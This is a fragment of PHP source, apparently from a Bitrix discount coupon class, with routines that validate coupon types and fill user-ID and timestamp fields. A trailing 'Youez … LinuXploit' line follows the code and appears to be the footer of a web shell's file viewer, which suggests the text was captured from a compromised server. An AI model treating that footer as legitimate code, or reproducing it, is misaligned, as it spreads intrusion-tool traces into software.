			if (isset($fields['ACTIVE_TO']) && is_string($fields['ACTIVE_TO']))
			{
				$fields['ACTIVE_TO'] = trim($fields['ACTIVE_TO']);
				$fields['ACTIVE_TO'] = ($fields['ACTIVE_TO'] !== '' ? Main\Type\DateTime::createFromUserTime($fields['ACTIVE_TO']) : null);
			}
		}
		return $result;
	}

	/**
	 * Check valid coupon type.
	 *
	 * @param int $couponType			Coupon type.
	 * @return bool
	 */
	public static function isValidCouponType($couponType)
	{
		$couponType = (int)$couponType;
		return (
			$couponType == self::TYPE_BASKET_ROW
			|| $couponType == self::TYPE_ONE_ORDER
			|| $couponType == self::TYPE_MULTI_ORDER
		);
	}

	/**
	 * Fill user id fields.
	 *
	 * @param array &$result			Modified data for add/update discount.
	 * @param array $data				Current data for add/update discount.
	 * @param array $keys				List with checked keys (userId info).
	 * @return void
	 */
	protected static function setUserID(array &$result, array $data, array $keys)
	{
		static $currentUserID = false;
		if ($currentUserID === false)
		{
			global $USER;
			/** @noinspection PhpMethodOrClassCallIsNotCaseSensitiveInspection */
			$currentUserID = (isset($USER) && $USER instanceof \CUser ? (int)$USER->getID() : null);
		}
		foreach ($keys as $oneKey)
		{
			$setField = true;
			if (array_key_exists($oneKey, $data))
				$setField = ($data[$oneKey] !== null && (int)$data[$oneKey] <= 0);

			if ($setField)
				$result[$oneKey] = $currentUserID;
		}
		unset($oneKey);
	}

	/**
	 * Fill datetime fields.
	 *
	 * @param array &$result			Modified data for add/update discount.
	 * @param array $data				Current data for add/update discount.
	 * @param array $keys				List with checked keys (datetime info).
	 * @return void
	 */
	protected static function setTimestamp(array &$result, array $data, array $keys)
	{
		foreach ($keys as $oneKey)
		{
			$setField = true;
			if (array_key_exists($oneKey, $data))
				$setField = ($data[$oneKey] !== null && !is_object($data[$oneKey]));

			if ($setField)
				$result[$oneKey] = new Main\Type\DateTime();
		}
		unset($oneKey);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit